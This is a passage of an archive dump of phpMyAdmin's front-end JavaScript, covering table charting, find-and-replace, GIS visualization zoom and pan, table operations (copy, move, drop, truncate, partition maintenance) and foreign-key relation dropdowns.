0) { return; } var plotSettings = { title : { text : settings.title, escapeHtml: true }, grid : { drawBorder : false, shadow : false, background : 'rgba(0,0,0,0)' }, legend : { show : true, placement : 'outsideGrid', location : 'e', rendererOptions: { numberColumns: 2 } }, axes : { xaxis : { label : Functions.escapeHtml(settings.xaxisLabel) }, yaxis : { label : settings.yaxisLabel } }, stackSeries : settings.stackSeries }; // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(settings.type, 'querychart'); // create the data table and add columns var dataTable = new DataTable(); if (settings.type === 'timeline') { dataTable.addColumn(ColumnType.DATE, columnNames[settings.mainAxis]); } else if (settings.type === 'scatter') { dataTable.addColumn(ColumnType.NUMBER, columnNames[settings.mainAxis]); } else { dataTable.addColumn(ColumnType.STRING, columnNames[settings.mainAxis]); } var i; var values = []; if (settings.seriesColumn === null) { $.each(settings.selectedSeries, function (index, element) { dataTable.addColumn(ColumnType.NUMBER, columnNames[element]); }); // set data to the data table var columnsToExtract = [settings.mainAxis]; $.each(settings.selectedSeries, function (index, element) { columnsToExtract.push(element); }); var newRow; var row; var col; for (i = 0; i < data.length; i++) { row = data[i]; newRow = []; for (var j = 0; j < columnsToExtract.length; j++) { col = columnNames[columnsToExtract[j]]; if (j === 0) { if (settings.type === 'timeline') { // first column is date type newRow.push(extractDate(row[col])); } else if (settings.type === 'scatter') { newRow.push(parseFloat(row[col])); } else { // first column is string type newRow.push(row[col]); } } else { // subsequent columns are of type, number newRow.push(parseFloat(row[col])); } } values.push(newRow); } dataTable.setData(values); } else { var seriesNames = {}; var seriesNumber = 1; var seriesColumnName = columnNames[settings.seriesColumn]; for (i = 0; i < data.length; i++) { if (! seriesNames[data[i][seriesColumnName]]) { seriesNames[data[i][seriesColumnName]] = seriesNumber; seriesNumber++; } } $.each(seriesNames, function (seriesName) { dataTable.addColumn(ColumnType.NUMBER, seriesName); }); var valueMap = {}; var xValue; var value; var mainAxisName = columnNames[settings.mainAxis]; var valueColumnName = columnNames[settings.valueColumn]; for (i = 0; i < data.length; i++) { xValue = data[i][mainAxisName]; value = valueMap[xValue]; if (! value) { value = [xValue]; valueMap[xValue] = value; } seriesNumber = seriesNames[data[i][seriesColumnName]]; value[seriesNumber] = parseFloat(data[i][valueColumnName]); } $.each(valueMap, function (index, value) { values.push(value); }); dataTable.setData(values); } // draw the chart and return the chart object chart.draw(dataTable, plotSettings); return chart; } function drawChart () { currentSettings.width = $('#resizer').width() - 20; currentSettings.height = $('#resizer').height() - 20; // TODO: a better way using .redraw() ? if (currentChart !== null) { currentChart.destroy(); } var columnNames = []; $('#chartXAxisSelect option').each(function () { columnNames.push(Functions.escapeHtml($(this).text())); }); try { currentChart = queryChart(chartData, columnNames, currentSettings); if (currentChart !== null) { $('#saveChart').attr('href', currentChart.toImageString()); } } catch (err) { Functions.ajaxShowMessage(err.message, false); } } function getSelectedSeries () { var val = $('#chartSeriesSelect').val() || []; var ret = []; $.each(val, function (i, v) { ret.push(parseInt(v, 10)); }); return ret; } function onXAxisChange () { var $xAxisSelect = $('#chartXAxisSelect'); currentSettings.mainAxis = parseInt($xAxisSelect.val(), 10); if (dateTimeCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('timelineChartType').classList.remove('d-none'); } else { document.getElementById('timelineChartType').classList.add('d-none'); if (currentSettings.type === 'timeline') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } if (numericCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('scatterChartType').classList.remove('d-none'); } else { document.getElementById('scatterChartType').classList.add('d-none'); if (currentSettings.type === 'scatter') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } var xAxisTitle = $xAxisSelect.children('option:selected').text(); $('#xAxisLabelInput').val(xAxisTitle); currentSettings.xaxisLabel = xAxisTitle; } function onDataSeriesChange () { var $seriesSelect = $('#chartSeriesSelect'); currentSettings.selectedSeries = getSelectedSeries(); var yAxisTitle; if (currentSettings.selectedSeries.length === 1) { document.getElementById('pieChartType').classList.remove('d-none'); yAxisTitle = $seriesSelect.children('option:selected').text(); } else { document.getElementById('pieChartType').classList.add('d-none'); if (currentSettings.type === 'pie') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } yAxisTitle = Messages.strYValues; } $('#yAxisLabelInput').val(yAxisTitle); currentSettings.yaxisLabel = yAxisTitle; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/chart.js', function () { $('input[name="chartType"]').off('click'); $('#barStackedCheckbox').off('click'); $('#seriesColumnCheckbox').off('click'); $('#chartTitleInput').off('focus').off('keyup').off('blur'); $('#chartXAxisSelect').off('change'); $('#chartSeriesSelect').off('change'); $('#chartSeriesColumnSelect').off('change'); $('#chartValueColumnSelect').off('change'); $('#xAxisLabelInput').off('keyup'); $('#yAxisLabelInput').off('keyup'); $('#resizer').off('resizestop'); $('#tblchartform').off('submit'); }); AJAX.registerOnload('table/chart.js', function () { // handle manual resize $('#resizer').on('resizestop', function () { // make room so that the handle will still appear $('#querychart').height($('#resizer').height() * 0.96); $('#querychart').width($('#resizer').width() * 0.96); if (currentChart !== null) { currentChart.redraw({ resetAxes : true }); } }); // handle chart type changes $('input[name="chartType"]').on('click', function () { var type = currentSettings.type = $(this).val(); if (type === 'bar' || type === 'column' || type === 'area') { document.getElementById('barStacked').classList.remove('d-none'); } else { $('#barStackedCheckbox').prop('checked', false); $.extend(true, currentSettings, { stackSeries : false }); document.getElementById('barStacked').classList.add('d-none'); } drawChart(); }); // handle chosing alternative data format $('#seriesColumnCheckbox').on('click', function () { var $seriesColumn = $('#chartSeriesColumnSelect'); var $valueColumn = $('#chartValueColumnSelect'); var $chartSeries = $('#chartSeriesSelect'); if ($(this).is(':checked')) { $seriesColumn.prop('disabled', false); $valueColumn.prop('disabled', false); $chartSeries.prop('disabled', true); currentSettings.seriesColumn = parseInt($seriesColumn.val(), 10); currentSettings.valueColumn = parseInt($valueColumn.val(), 10); } else { $seriesColumn.prop('disabled', true); $valueColumn.prop('disabled', true); $chartSeries.prop('disabled', false); currentSettings.seriesColumn = null; currentSettings.valueColumn = null; } drawChart(); }); // handle stacking for bar, column and area charts $('#barStackedCheckbox').on('click', function () { if ($(this).is(':checked')) { $.extend(true, currentSettings, { stackSeries : true }); } else { $.extend(true, currentSettings, { stackSeries : false }); } drawChart(); }); // handle changes in chart title $('#chartTitleInput') .on('focus', function () { tempChartTitle = $(this).val(); }) .on('keyup', function () { currentSettings.title = $('#chartTitleInput').val(); drawChart(); }) .on('blur', function () { if ($(this).val() !== tempChartTitle) { drawChart(); } }); // handle changing the x-axis $('#chartXAxisSelect').on('change', function () { onXAxisChange(); drawChart(); }); // handle changing the selected data series $('#chartSeriesSelect').on('change', function () { onDataSeriesChange(); drawChart(); }); // handle changing the series column $('#chartSeriesColumnSelect').on('change', function () { currentSettings.seriesColumn = parseInt($(this).val(), 10); drawChart(); }); // handle changing the value column $('#chartValueColumnSelect').on('change', function () { currentSettings.valueColumn = parseInt($(this).val(), 10); drawChart(); }); // handle manual changes to the chart x-axis labels $('#xAxisLabelInput').on('keyup', function () { currentSettings.xaxisLabel = $(this).val(); drawChart(); }); // handle manual changes to the chart y-axis labels $('#yAxisLabelInput').on('keyup', function () { currentSettings.yaxisLabel = $(this).val(); drawChart(); }); // handler for ajax form submission $('#tblchartform').on('submit', function () { var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (!Functions.checkSqlQuery($form[0])) { return false; } var $msgbox = Functions.ajaxShowMessage(); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true && typeof data.chartData !== 'undefined') { chartData = JSON.parse(data.chartData); drawChart(); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); // end $.post() return false; }); // from jQuery UI $('#resizer').resizable({ minHeight: 240, minWidth: 300 }) .width($('#div_view_options').width() - 50) .trigger('resizestop'); currentSettings = { type : 'line', width : $('#resizer').width() - 20, height : $('#resizer').height() - 20, xaxisLabel : $('#xAxisLabelInput').val(), yaxisLabel : $('#yAxisLabelInput').val(), title : $('#chartTitleInput').val(), stackSeries : false, mainAxis : parseInt($('#chartXAxisSelect').val(), 10), selectedSeries : getSelectedSeries(), seriesColumn : null }; var vals = $('input[name="dateTimeCols"]').val().split(' '); $.each(vals, function (i, v) { dateTimeCols.push(parseInt(v, 10)); }); vals = $('input[name="numericCols"]').val().split(' '); $.each(vals, function (i, v) { numericCols.push(parseInt(v, 10)); }); onXAxisChange(); onDataSeriesChange(); $('#tblchartform').trigger('submit'); }); table/find_replace.js000066600000003104151724624350010617 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/find_replace.js', function () { $('#find_replace_form').off('submit'); $('#toggle_find').off('click'); }); /** * Bind events */ AJAX.registerOnload('table/find_replace.js', function () { $('
              ') .insertAfter('#find_replace_form') .hide(); $('#toggle_find') .html(Messages.strHideFindNReplaceCriteria) .on('click', function () { var $link = $(this); $('#find_replace_form').slideToggle(); if ($link.text() === Messages.strHideFindNReplaceCriteria) { $link.text(Messages.strShowFindNReplaceCriteria); } else { $link.text(Messages.strHideFindNReplaceCriteria); } return false; }); $('#find_replace_form').on('submit', function (e) { e.preventDefault(); var findReplaceForm = $('#find_replace_form'); Functions.prepareForAjaxRequest(findReplaceForm); var $msgbox = Functions.ajaxShowMessage(); $.post(findReplaceForm.attr('action'), findReplaceForm.serialize(), function (data) { Functions.ajaxRemoveMessage($msgbox); if (data.success === true) { $('#toggle_find_div').show(); $('#toggle_find').trigger('click'); $('#sqlqueryresultsouter').html(data.preview); } else { $('#sqlqueryresultsouter').html(data.error); } }); }); }); table/gis_visualization.js000066600000024230151724624350011752 0ustar00/** * @fileoverview functions used for visualizing GIS data * * @requires jquery */ /* global drawOpenLayers PASSIVE_EVENT_LISTENERS */ // templates/table/gis_visualization/gis_visualization.twig // Constants var zoomFactor = 1.5; var defaultX = 0; var defaultY = 0; var defaultScale = 1; // Variables var x = defaultX; var y = defaultY; var scale = defaultScale; /** @type {SVGElement|undefined} */ var gisSvg; /** @type {ol.Map|undefined} */ var map; /** * Zooms and pans the visualization. */ function zoomAndPan () { var g = gisSvg.getElementById('groupPanel'); if (!g) { return; } $('#groupPanel', gisSvg).attr('transform', 'translate(' + x + ', ' + y + ') scale(' + scale + ')'); $('circle.vector', gisSvg).attr('r', 3 / scale); $('circle.vector', gisSvg).attr('stroke-width', 2 / scale); $('polyline.vector', gisSvg).attr('stroke-width', 2 / scale); $('path.vector', gisSvg).attr('stroke-width', 0.5 / scale); } /** * Initially loads either SVG or OSM visualization based on the choice. */ function selectVisualization () { if ($('#choice').prop('checked') !== true) { $('#openlayersmap').hide(); } else { $('#placeholder').hide(); } } /** * Adds necessary styles to the div that contains the openStreetMap. */ function styleOSM () { var $placeholder = $('#placeholder'); var cssObj = { 'border' : '1px solid #aaa', 'width' : $placeholder.width(), 'height' : $placeholder.height(), 'float' : 'right' }; $('#openlayersmap').css(cssObj); } /** * Store a reference to the gis svg element. */ function storeGisSvgRef () { gisSvg = $('#placeholder').find('svg').get(0); } /** * Adds controls for zooming and panning. */ function addZoomPanControllers () { if (!gisSvg) { return; } var themeImagePath = $('#themeImagePath').val(); $('#placeholder').append( // pan arrows '', '', '', '', // zoom controls '', '', '' ); } /** * Resizes the GIS visualization to fit into the space available. */ function resizeGISVisualization () { var $placeholder = $('#placeholder'); var oldWidth = $placeholder.width(); var visWidth = $('#div_view_options').width() - 48; // Assign new value for width $placeholder.width(visWidth); $(gisSvg).attr('width', visWidth); // Assign the offset created due to resizing to defaultX and center the svg. defaultX = (visWidth - oldWidth) / 2; x = defaultX; y = defaultY; scale = defaultScale; } /** * Initialize the GIS visualization. */ function initGISVisualization () { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Resizes the GIS visualization to fit into the space available resizeGISVisualization(); if (typeof ol !== 'undefined') { // Adds necessary styles to the div that contains the openStreetMap styleOSM(); } // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } function drawOpenLayerMap () { $('#placeholder').hide(); $('#openlayersmap').show(); // Function doesn't work properly if #openlayersmap is hidden if (typeof map !== 'object') { // Draws openStreetMap with openLayers map = drawOpenLayers(); } } function getRelativeCoords (e) { var position = $('#placeholder').offset(); return { x : e.pageX - position.left, y : e.pageY - position.top }; } /** * @param {WheelEvent} event */ function onGisMouseWheel (event) { if (event.deltaY === 0) { return; } event.preventDefault(); var relCoords = getRelativeCoords(event); var factor = event.deltaY > 0 ? zoomFactor : 1 / zoomFactor; // zoom scale *= factor; // zooming keeping the position under mouse pointer unmoved. x = relCoords.x - (relCoords.x - x) * factor; y = relCoords.y - (relCoords.y - y) * factor; zoomAndPan(); } /** * Ajax handlers for GIS visualization page * * Actions Ajaxified here: * * Zooming in and zooming out on mouse wheel movement. * Panning the visualization on dragging. * Zooming in on double clicking. * Zooming out on clicking the zoom out button. * Panning on clicking the arrow buttons. * Displaying tooltips for GIS objects. */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/gis_visualization.js', function () { $(document).off('click', '#choice'); $(document).off('dragstart', 'svg'); $(document).off('mouseup', 'svg'); $(document).off('drag', 'svg'); $(document).off('dblclick', '#placeholder'); $(document).off('click', '#zoom_in'); $(document).off('click', '#zoom_world'); $(document).off('click', '#zoom_out'); $(document).off('click', '#left_arrow'); $(document).off('click', '#right_arrow'); $(document).off('click', '#up_arrow'); $(document).off('click', '#down_arrow'); $('.vector').off('mousemove').off('mouseout'); $('#placeholder').get(0).removeEventListener( 'wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined ); if (map) { // Removes ol.Map's resize listener from window map.setTarget(null); map = undefined; } }); AJAX.registerOnload('table/gis_visualization.js', function () { // If we are in GIS visualization, initialize it if ($('#gis_div').length > 0) { initGISVisualization(); } if ($('#choice').prop('checked') === true) { drawOpenLayerMap(); } if (typeof ol === 'undefined') { $('#choice, #labelChoice').hide(); } $(document).on('click', '#choice', function () { if ($(this).prop('checked') === false) { $('#placeholder').show(); $('#openlayersmap').hide(); } else { drawOpenLayerMap(); } }); $('#placeholder').get(0).addEventListener( 'wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined ); var dragX = 0; var dragY = 0; $('svg').draggable({ helper: function () { return $('
              ');// Give a fake element to be used for dragging display } }); $(document).on('dragstart', 'svg', function (event, dd) { $('#placeholder').addClass('placeholderDrag'); dragX = Math.round(dd.offset.left); dragY = Math.round(dd.offset.top); }); $(document).on('mouseup', 'svg', function () { $('#placeholder').removeClass('placeholderDrag'); }); $(document).on('drag', 'svg', function (event, dd) { var newX = Math.round(dd.offset.left); x += newX - dragX; dragX = newX; var newY = Math.round(dd.offset.top); y += newY - dragY; dragY = newY; zoomAndPan(); }); $(document).on('dblclick', '#placeholder', function (event) { if (event.target.classList.contains('button')) { return; } scale *= zoomFactor; // zooming in keeping the position under mouse pointer unmoved. var relCoords = getRelativeCoords(event); x = relCoords.x - (relCoords.x - x) * zoomFactor; y = relCoords.y - (relCoords.y - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_in', function (e) { e.preventDefault(); // zoom in scale *= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming in keeping the center unmoved. x = width / 2 - (width / 2 - x) * zoomFactor; y = height / 2 - (height / 2 - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_world', function (e) { e.preventDefault(); scale = 1; x = defaultX; y = defaultY; zoomAndPan(); }); $(document).on('click', '#zoom_out', function (e) { e.preventDefault(); // zoom out scale /= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming out keeping the center unmoved. x = width / 2 - (width / 2 - x) / zoomFactor; y = height / 2 - (height / 2 - y) / zoomFactor; zoomAndPan(); }); $(document).on('click', '#left_arrow', function (e) { e.preventDefault(); x += 100; zoomAndPan(); }); $(document).on('click', '#right_arrow', function (e) { e.preventDefault(); x -= 100; zoomAndPan(); }); $(document).on('click', '#up_arrow', function (e) { e.preventDefault(); y += 100; zoomAndPan(); }); $(document).on('click', '#down_arrow', function (e) { e.preventDefault(); y -= 100; zoomAndPan(); }); /** * Detect the mousemove event and show tooltips. */ $('.vector').on('mousemove', function (event) { var contents = Functions.escapeHtml($(this).attr('name')).trim(); $('#tooltip').remove(); if (contents !== '') { $('
              ' + contents + '
              ').css({ position : 'absolute', top : event.pageY + 10, left : event.pageX + 10, border : '1px solid #fdd', padding : '2px', 'background-color' : '#fee', opacity : 0.90 }).appendTo('body').fadeIn(200); } }); /** * Detect the mouseout event and hide tooltips. */ $('.vector').on('mouseout', function () { $('#tooltip').remove(); }); }); table/operations.js000066600000034053151724624350010376 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/operations.js', function () { $(document).off('submit', '#copyTable.ajax'); $(document).off('submit', '#moveTableForm'); $(document).off('submit', '#tableOptionsForm'); $(document).off('submit', '#partitionsForm'); $(document).off('click', '#tbl_maintenance li a.maintain_action.ajax'); $(document).off('click', '#drop_tbl_anchor.ajax'); $(document).off('click', '#drop_view_anchor.ajax'); $(document).off('click', '#truncate_tbl_anchor.ajax'); $(document).off('click', '#delete_tbl_anchor.ajax'); }); /** * Confirm and send POST request * * @param {JQuery} linkObject * @param {'TRUNCATE'|'DELETE'} action * * @return {void} */ var confirmAndPost = function (linkObject, action) { /** * @var {String} question String containing the question to be asked for confirmation */ var question = ''; if (action === 'TRUNCATE') { question += Messages.strTruncateTableStrongWarning + ' '; } else if (action === 'DELETE') { question += Messages.strDeleteTableStrongWarning + ' '; } question += Functions.sprintf(Messages.strDoYouReally, linkObject.data('query')); question += Functions.getForeignKeyCheckboxLoader(); linkObject.confirm(question, linkObject.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, linkObject.getPostData()); $.post(url, params, function (data) { if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $('
              ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }; /** * jQuery coding for 'Table operations'. Used on /table/operations * Attach Ajax Event handlers for Table operations */ AJAX.registerOnload('table/operations.js', function () { /** * Ajax action for submitting the "Copy table" */ $(document).on('submit', '#copyTable.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_copy=Go', function (data) { if (typeof data !== 'undefined' && data.success === true) { if ($form.find('input[name=\'switch_to_new\']').prop('checked')) { CommonParams.set( 'db', $form.find('select[name=\'target_db\'],input[name=\'target_db\']').val() ); CommonParams.set( 'table', $form.find('input[name=\'new_name\']').val() ); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.message); } // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() });// end of copyTable ajax submit /** * Ajax action for submitting the "Move table" */ $(document).on('submit', '#moveTableForm', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'submit_move=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/sql', function () { Functions.ajaxShowMessage(data.message); }); // Refresh navigation when the table is copied Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /** * Ajax action for submitting the "Table options" */ $(document).on('submit', '#tableOptionsForm', function (event) { event.preventDefault(); event.stopPropagation(); var $form = $(this); var $tblNameField = $form.find('input[name=new_name]'); var $tblCollationField = $form.find('select[name=tbl_collation]'); var collationOrigValue = $('select[name="tbl_collation"] option[selected]').val(); var $changeAllColumnCollationsCheckBox = $('#checkbox_change_all_collations'); var question = Messages.strChangeAllColumnCollationsWarning; if ($tblNameField.val() !== $tblNameField[0].defaultValue) { // reload page and navigation if the table has been renamed Functions.prepareForAjaxRequest($form); if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { submitOptionsForm(); }); } else { submitOptionsForm(); } } else { if ($tblCollationField.val() !== collationOrigValue && $changeAllColumnCollationsCheckBox.is(':checked')) { $form.confirm(question, $form.attr('action'), function () { $form.removeClass('ajax').trigger('submit').addClass('ajax'); }); } else { $form.removeClass('ajax').trigger('submit').addClass('ajax'); } } function submitOptionsForm () { $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { CommonParams.set('table', data.params.table); CommonActions.refreshMain(false, function () { $('#page_content').html(data.message); Functions.highlightSql($('#page_content')); }); // Refresh navigation when the table is renamed Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); /** * Ajax events for actions in the "Table maintenance" */ $(document).on('click', '#tbl_maintenance li a.maintain_action.ajax', function (event) { event.preventDefault(); var $link = $(this); if ($('.sqlqueryresults').length !== 0) { $('.sqlqueryresults').remove(); } if ($('.result_query').length !== 0) { $('.result_query').remove(); } // variables which stores the common attributes var params = $.param({ 'ajax_request': 1, 'server': CommonParams.get('server') }); var postData = $link.getPostData(); if (postData) { params += CommonParams.get('arg_separator') + postData; } $.post($link.attr('href'), params, function (data) { function scrollToTop () { $('html, body').animate({ scrollTop: 0 }); } var $tempDiv; if (typeof data !== 'undefined' && data.success === true && data.sql_query !== undefined) { Functions.ajaxShowMessage(data.message); $('
              ').prependTo('#page_content'); $('.sqlqueryresults').html(data.sql_query); Functions.highlightSql($('#page_content')); scrollToTop(); } else if (typeof data !== 'undefined' && data.success === true) { $tempDiv = $('
              '); $tempDiv.html(data.message); var $success = $tempDiv.find('.result_query .alert-success'); Functions.ajaxShowMessage($success); $('
              ').prependTo('#page_content'); $('.sqlqueryresults').html(data.message); Functions.highlightSql($('#page_content')); $('.sqlqueryresults').children('fieldset,br').remove(); scrollToTop(); } else { $tempDiv = $('
              '); $tempDiv.html(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } Functions.ajaxShowMessage($error, false); } }); // end $.post() });// end of table maintenance ajax click /** * Ajax action for submitting the "Partition Maintenance" * Also, asks for confirmation when DROP partition is submitted */ $(document).on('submit', '#partitionsForm', function (event) { event.preventDefault(); var $form = $(this); function submitPartitionMaintenance () { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } if ($('#partitionOperationRadioDrop').is(':checked')) { $form.confirm(Messages.strDropPartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else if ($('#partitionOperationRadioTruncate').is(':checked')) { $form.confirm(Messages.strTruncatePartitionWarning, $form.attr('action'), function () { submitPartitionMaintenance(); }); } else { submitPartitionMaintenance(); } }); $(document).on('click', '#drop_tbl_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf(Messages.strDoYouReally, $link[0].getAttribute('data-query')); question += Functions.getForeignKeyCheckboxLoader(); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain( CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action $(document).on('click', '#drop_view_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropTableStrongWarning + ' '; question += Functions.sprintf( Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(CommonParams.get('table') + '`') ); $(this).confirm(question, $(this).attr('href'), function (url) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msgbox); // Table deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('table', ''); CommonActions.refreshMain( CommonParams.get('opendb_url'), function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // end of Drop View Ajax action $(document).on('click', '#truncate_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'TRUNCATE'); }); $(document).on('click', '#delete_tbl_anchor.ajax', function (event) { event.preventDefault(); confirmAndPost($(this), 'DELETE'); }); }); // end $(document).ready for 'Table operations' table/relation.js000066600000022651151724624350010031 0ustar00/** * for table relation */ var TableRelation = {}; TableRelation.showHideClauses = function ($thisDropdown) { if ($thisDropdown.val() === '') { $thisDropdown.parent().nextAll('span').hide(); } else { if ($thisDropdown.is('select[name^="destination_foreign_column"]')) { $thisDropdown.parent().nextAll('span').show(); } } }; /** * Sets dropdown options to values * @param $dropdown * @param values * @param selectedValue * @return {void} */ TableRelation.setDropdownValues = function ($dropdown, values, selectedValue) { $dropdown.empty(); var optionsAsString = ''; // add an empty string to the beginning for empty selection values.unshift(''); $.each(values, function () { optionsAsString += ''; }); $dropdown.append($(optionsAsString)); }; /** * Retrieves and populates dropdowns to the left based on the selected value * * @param $dropdown the dropdown whose value got changed * @return {void} */ TableRelation.getDropdownValues = function ($dropdown) { var foreignDb = null; var foreignTable = null; var $databaseDd; var $tableDd; var $columnDd; var foreign = ''; // if the changed dropdown is for foreign key constraints if ($dropdown.is('select[name^="destination_foreign"]')) { $databaseDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_db"]'); $tableDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_table"]'); $columnDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_column"]'); foreign = '_foreign'; } else { // internal relations $databaseDd = $dropdown.parent().find('select[name^="destination_db"]'); $tableDd = $dropdown.parent().find('select[name^="destination_table"]'); $columnDd = $dropdown.parent().find('select[name^="destination_column"]'); } // if the changed dropdown is a database selector if ($dropdown.is('select[name^="destination' + foreign + '_db"]')) { foreignDb = $dropdown.val(); // if no database is selected empty table and column dropdowns if (foreignDb === '') { TableRelation.setDropdownValues($tableDd, []); TableRelation.setDropdownValues($columnDd, []); return; } } else { // if a table selector foreignDb = $databaseDd.val(); foreignTable = $dropdown.val(); // if no table is selected empty the column dropdown if (foreignTable === '') { TableRelation.setDropdownValues($columnDd, []); return; } } var $msgbox = Functions.ajaxShowMessage(); var $form = $dropdown.parents('form'); var $db = $form.find('input[name="db"]').val(); var $table = $form.find('input[name="table"]').val(); var argsep = CommonParams.get('arg_separator'); var params = 'getDropdownValues=true' + argsep + 'ajax_request=true' + argsep + 'db=' + encodeURIComponent($db) + argsep + 'table=' + encodeURIComponent($table) + argsep + 'foreign=' + (foreign !== '') + argsep + 'foreignDb=' + encodeURIComponent(foreignDb) + (foreignTable !== null ? argsep + 'foreignTable=' + encodeURIComponent(foreignTable) : '' ); var $server = $form.find('input[name="server"]'); if ($server.length > 0) { params += argsep + 'server=' + $form.find('input[name="server"]').val(); } $.ajax({ type: 'POST', url: 'index.php?route=/table/relation', data: params, dataType: 'json', success: function (data) { Functions.ajaxRemoveMessage($msgbox); if (typeof data !== 'undefined' && data.success) { // if the changed dropdown is a database selector if (foreignTable === null) { // set values for table and column dropdowns TableRelation.setDropdownValues($tableDd, data.tables); TableRelation.setDropdownValues($columnDd, []); } else { // if a table selector // set values for the column dropdown var primary = null; if (typeof data.primary !== 'undefined' && 1 === data.primary.length ) { primary = data.primary[0]; } TableRelation.setDropdownValues($columnDd.first(), data.columns, primary); TableRelation.setDropdownValues($columnDd.slice(1), data.columns); } } else { Functions.ajaxShowMessage(data.error, false); } } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/relation.js', function () { $('body').off('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]' ); $('body').off('click', 'a.add_foreign_key_field'); $('body').off('click', 'a.add_foreign_key'); $('a.drop_foreign_key_anchor.ajax').off('click'); }); AJAX.registerOnload('table/relation.js', function () { /** * Ajax event handler to fetch table/column dropdown values. */ $('body').on('change', 'select[name^="destination_db"], ' + 'select[name^="destination_table"], ' + 'select[name^="destination_foreign_db"], ' + 'select[name^="destination_foreign_table"]', function () { TableRelation.getDropdownValues($(this)); } ); /** * Ajax event handler to add a column to a foreign key constraint. */ $('body').on('click', 'a.add_foreign_key_field', function (event) { event.preventDefault(); event.stopPropagation(); // Add field. $(this) .prev('span') .clone(true, true) .insertBefore($(this)) .find('select') .val(''); // Add foreign field. var 